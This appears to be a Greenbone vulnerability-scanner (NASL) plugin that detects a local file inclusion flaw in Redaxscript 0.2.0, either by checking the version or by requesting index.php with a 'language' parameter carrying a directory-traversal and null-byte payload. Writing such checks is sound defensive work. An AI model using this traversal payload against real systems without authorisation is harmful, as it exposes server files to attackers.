Redaxscript <= 0.2.0 'language' Parameter LFI Vulnerability

# SPDX-FileCopyrightText: 2009 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:redaxscript:redaxscript";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100122");
  script_version("2025-06-25T05:41:02+0000");
  script_tag(name:"last_modification", value:"2025-06-25 05:41:02 +0000 (Wed, 25 Jun 2025)");
  script_tag(name:"creation_date", value:"2009-04-12 20:09:50 +0200 (Sun, 12 Apr 2009)");
  script_tag(name:"cvss_base", value:"6.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:P/A:P");
  script_name("Redaxscript <= 0.2.0 'language' Parameter LFI Vulnerability");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2009 Greenbone AG");
  script_dependencies("redaxscript_detect.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("redaxscript/detected");

  script_xref(name:"URL", value:"https://web.archive.org/web/20210130004042/http://www.securityfocus.com/bid/34476");

  script_tag(name:"summary", value:"Redaxscript is prone to a local file include (LFI) vulnerability
  because it fails to properly sanitize user-supplied input.");

  script_tag(name:"vuldetect", value:"- If a version is available: Checks if a vulnerable version is
  present on the target host.

  - If no version is available: Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"impact", value:"An attacker can exploit this vulnerability to view and execute
  arbitrary local files in the context of the webserver process. This may aid in further attacks.");

  script_tag(name:"affected", value:"Redaxscript version 0.2.0 is known to be vulnerable. Other
  versions may also be affected.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
  options are to upgrade to a newer release, disable respective features, remove the product or
  replace the product by another one.");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("os_func.inc");
include("version_func.inc");
include("traversal_func.inc");

if( ! port = get_app_port( cpe:CPE, service:"www" ) )
  exit( 0 );

if( ! infos = get_app_version_and_location( cpe:CPE, port:port, exit_no_version:FALSE ) )
  exit( 0 );

vers = infos["version"];
dir = infos["location"];

if( vers && vers != "unknown" ) {
  if( version_is_equal( version:vers, test_version:"0.2.0" ) ) {
    report = report_fixed_ver( installed_version:vers, fixed_version:"None", install_path:dir );
    security_message( port:port, data:report );
    exit( 0 );
  }
  exit( 99 );
} else {

  if( ! dir )
    exit( 0 );

  if( dir == "/" )
    dir = "";

  files = traversal_files();
  foreach pattern( keys( files ) ) {

    file = files[pattern];
    url = string( dir, "/index.php?language=../../../../../../../../", file, "%00" );

    if( http_vuln_check( port:port, url:url, pattern:pattern ) ) {
      report = http_report_vuln_url( url:url, port:port );
      security_message( port:port, data:report );
      exit( 0 );
    }
  }
}

exit( 99 );